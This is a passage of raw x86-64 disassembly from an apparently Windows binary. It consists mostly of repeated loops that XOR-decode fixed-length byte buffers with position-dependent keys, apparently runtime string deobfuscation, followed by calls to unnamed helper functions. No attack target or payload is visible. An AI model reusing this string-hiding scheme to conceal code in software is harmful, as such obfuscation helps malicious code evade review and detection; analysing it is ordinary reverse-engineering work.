movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140020a80
cmp r8d, 0x21
jge 0x140020bb0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140020b80
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140020d40
mov r8d, ebx
cmp edi, 2
jl 0x140020cfb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140020c10
cmp r8d, 0x35
jge 0x140020d40
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140020d10
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c718]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.1400278b0
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x140020f90
mov r8d, ebx
cmp edi, 2
jl 0x140020f4b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140020e60
cmp r8d, 0x17
jge 0x140020f90
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140020f60
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027880
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140021140
mov r8d, ebx
cmp edi, 2
jl 0x1400210fb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140021010
cmp r8d, 0x21
jge 0x140021140
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140021110
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x1400212d0
mov r8d, ebx
cmp edi, 2
jl 0x14002128f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400211a0
cmp r8d, 0x35
jge 0x1400212d0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400212a0
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c788]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027910
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140021520
mov r8d, ebx
cmp edi, 2
jl 0x1400214df
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400213f0
cmp r8d, 0x19
jge 0x140021520
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400214f0
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.1400278e0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x1400216d0
mov r8d, ebx
cmp edi, 2
jl 0x14002168f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400215a0
cmp r8d, 0x21
jge 0x1400216d0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400216a0
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140021860
mov r8d, ebx
cmp edi, 2
jl 0x14002181f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140021730
cmp r8d, 0x35
jge 0x140021860
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140021830
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c808]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027970
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x140021ab0
mov r8d, ebx
cmp edi, 2
jl 0x140021a6f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140021980
cmp r8d, 0x17
jge 0x140021ab0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140021a80
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027940
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140021c60
mov r8d, ebx
cmp edi, 2
jl 0x140021c1f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140021b30
cmp r8d, 0x21
jge 0x140021c60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140021c30
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140021df0
mov r8d, ebx
cmp edi, 2
jl 0x140021daf
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140021cc0
cmp r8d, 0x35
jge 0x140021df0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140021dc0
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
